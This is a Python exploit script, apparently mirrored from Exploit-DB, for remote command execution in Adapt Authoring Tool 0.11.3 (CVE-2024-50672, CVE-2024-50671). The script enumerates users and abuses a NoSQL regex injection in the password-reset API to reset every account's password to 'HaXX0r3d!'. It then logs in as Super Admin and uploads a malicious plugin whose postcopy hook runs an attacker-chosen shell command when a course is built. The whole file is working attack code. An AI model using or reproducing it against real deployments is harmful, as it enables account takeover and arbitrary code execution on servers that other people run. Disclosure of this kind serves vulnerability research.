exploit-db-mirror/exploits/multiple/webapps/52208.py

# Exploit Title: Adapt Authoring Tool 0.11.3 - Remote Command Execution (RCE)
# Date: 2024-11-24
# Exploit Author: Eui Chul Chung
# Vendor Homepage: https://www.adaptlearning.org/
# Software Link: https://github.com/adaptlearning/adapt_authoring
# Version: 0.11.3
# CVE Identifier: CVE-2024-50672 , CVE-2024-50671

import io
import sys
import json
import zipfile
import argparse
import requests
import textwrap


def get_session_cookie(username, password):
    data = {"email": username, "password": password}
    res = requests.post(f"{args.url}/api/login", data=data)

    if res.status_code == 200:
        print(f"[+] Login as {username}")
        return res.cookies.get_dict()

    return None


def get_users():
    session_cookie = get_session_cookie(args.username, args.password)
    if session_cookie is None:
        print("[-] Login failed")
        sys.exit()

    res = requests.get(f"{args.url}/api/user", cookies=session_cookie)
    users = [
        {"email": user["email"], "role": user["roles"][0]["name"]}
        for user in json.loads(res.text)
    ]

    roles = {"Authenticated User": 1, "Course Creator": 2, "Super Admin": 3}
    users.sort(key=lambda user: roles[user["role"]])
    for user in users:
        print(f"[+] {user['email']} ({user['role']})")

    return users


def reset_password(users):
    # Overwrite potentially expired password reset tokens
    for user in users:
        data = {"email": user["email"]}
        requests.post(f"{args.url}/api/createtoken", data=data)
    print("[+] Generate password reset token for every user")

    valid_characters = "0123456789abcdef"
    next_tokens = ["^"]

    # Ensure that only a single result is returned at a time
    while next_tokens:
        prev_tokens = next_tokens
        next_tokens = []

        for token in prev_tokens:
            for ch in valid_characters:
                data = {"token": {"$regex": token + ch}, "password": "HaXX0r3d!"}
                res = requests.put(
                    f"{args.url}/api/userpasswordreset/w00tw00t",
                    json=data,
                )

                # Multiple results returned
                if res.status_code == 500:
                    next_tokens.append(token + ch)

    print("[+] Reset every password to HaXX0r3d!")


def create_plugin(plugin_name):
    manifest = {
        "name": plugin_name,
        "version": "1.0.0",
        "extension": "exploit",
        "main": "/js/main.js",
        "displayName": "exploit",
        "keywords": ["adapt-plugin", "adapt-extension"],
        "scripts": {"adaptpostcopy": "/scripts/postcopy.js"},
    }

    property = {
        "properties": {
            "pluginLocations": {
                "type": "object",
                "properties": {"course": {"type": "object"}},
            }
        }
    }

    payload = textwrap.dedent(
        f"""
    const {{ exec }} = require("child_process");

    module.exports = async function (fs, path, log, options, done) {{
      try {{
        exec("{args.command}");
      }} catch (err) {{
        log(err);
      }}
      done();
    }};
    """
    ).strip()

    plugin = io.BytesIO()
    with zipfile.ZipFile(plugin, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
        zip_file.writestr(
            f"{plugin_name}/bower.json",
            io.BytesIO(json.dumps(manifest).encode()).getvalue(),
        )
        zip_file.writestr(
            f"{plugin_name}/properties.schema",
            io.BytesIO(json.dumps(property).encode()).getvalue(),
        )
        zip_file.writestr(
            f"{plugin_name}/js/main.js", io.BytesIO("".encode()).getvalue()
        )
        zip_file.writestr(
            f"{plugin_name}/scripts/postcopy.js",
            io.BytesIO(payload.encode()).getvalue(),
        )

    plugin.seek(0)
    return plugin


def find_plugin(cookies, plugin_type, plugin_name):
    res = requests.get(f"{args.url}/api/{plugin_type}type", cookies=cookies)
    for plugin in json.loads(res.text):
        if plugin["name"] == plugin_name:
            return plugin["_id"]

    return None


def create_course(cookies):
    data = {}
    res = requests.post(f"{args.url}/api/content/course", cookies=cookies, json=data)
    course_id = json.loads(res.text)["_id"]

    data = {"_courseId": course_id, "_parentId": course_id}
    res = requests.post(
        f"{args.url}/api/content/contentobject",
        cookies=cookies,
        json=data,
    )
    content_id = json.loads(res.text)["_id"]

    data = {"_courseId": course_id, "_parentId": content_id}
    res = requests.post(f"{args.url}/api/content/article", cookies=cookies, json=data)
    article_id = json.loads(res.text)["_id"]

    data = {"_courseId": course_id, "_parentId": article_id}
    res = requests.post(f"{args.url}/api/content/block", cookies=cookies, json=data)
    block_id = json.loads(res.text)["_id"]

    component_id = find_plugin(cookies, "component", "adapt-contrib-text")

    data = {
        "_courseId": course_id,
        "_parentId": block_id,
        "_component": "text",
        "_componentType": component_id,
    }
    requests.post(f"{args.url}/api/content/component", cookies=cookies, json=data)

    return course_id


def rce(users):
    session_cookie = None
    for user in users:
        if user["role"] == "Super Admin":
            session_cookie = get_session_cookie(user["email"], "HaXX0r3d!")
            break

    if session_cookie is None:
        print("[-] Failed to login as Super Account")
        sys.exit()

    plugin_name = "adapt-contrib-xapi"
    print(f"[+] Create malicious plugin : {plugin_name}")
    plugin = create_plugin(plugin_name)

    print("[+] Scan installed plugins")
    plugin_id = find_plugin(session_cookie, "extension", plugin_name)
    if plugin_id is None:
        print(f"[+] {plugin_name} not found")
    else:
        print(f"[+] Found {plugin_name}")
        print(f"[+] Remove {plugin_name}")
        requests.delete(
            f"{args.url}/api/extensiontype/{plugin_id}",
            cookies=session_cookie,
        )

    print("[+] Upload plugin")
    files = {"file": (f"{plugin_name}.zip", plugin, "application/zip")}
    requests.post(
        f"{args.url}/api/upload/contentplugin",
        cookies=session_cookie,
        files=files,
    )

    print("[+] Find uploaded plugin")
    plugin_id = find_plugin(session_cookie, "extension", plugin_name)
    if plugin_id is None:
        print(f"[-] {plugin_name} not found")
        sys.exit()
    print(f"[+] Plugin ID : {plugin_id}")

    print("[+] Add plugin to new courses")
    data = {"_isAddedByDefault": True}
    requests.put(
        f"{args.url}/api/extensiontype/{plugin_id}",
        cookies=session_cookie,
        json=data,
    )

    print("[+] Create a new course")
    course_id = create_course(session_cookie)

    print("[+] Build course")
    res = requests.get(
        f"{args.url}/api/output/adapt/preview/{course_id}",
        cookies=session_cookie,
    )

    if res.status_code == 200:
        print("[+] Command execution succeeded")
    else:
        print("[-] Command execution failed")

    print("[+] Remove course")
    requests.delete(
        f"{args.url}/api/content/course/{course_id}",
        cookies=session_cookie,
    )


def main():
    print("[*] Retrieve user information")
    users = get_users()

    print("\n[*] Reset password")
    reset_password(users)

    print("\n[*] Perform remote code execution")
    rce(users)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-u",
        dest="url",
        help="Site URL (e.g.  www.adaptlearning.org)",
        type=str,
        required=True,
    )
    parser.add_argument(
        "-U",
        dest="username",
        help="Username to authenticate as",
        type=str,
        required=True,
    )
    parser.add_argument(
        "-P",
        dest="password",
        help="Password for the specified username",
        type=str,
        required=True,
    )
    parser.add_argument(
        "-c",
        dest="command",
        help="Command to execute (e.g. touch /tmp/pwned)",
        type=str,
        default="touch /tmp/pwned",
    )
    args = parser.parse_args()

    main()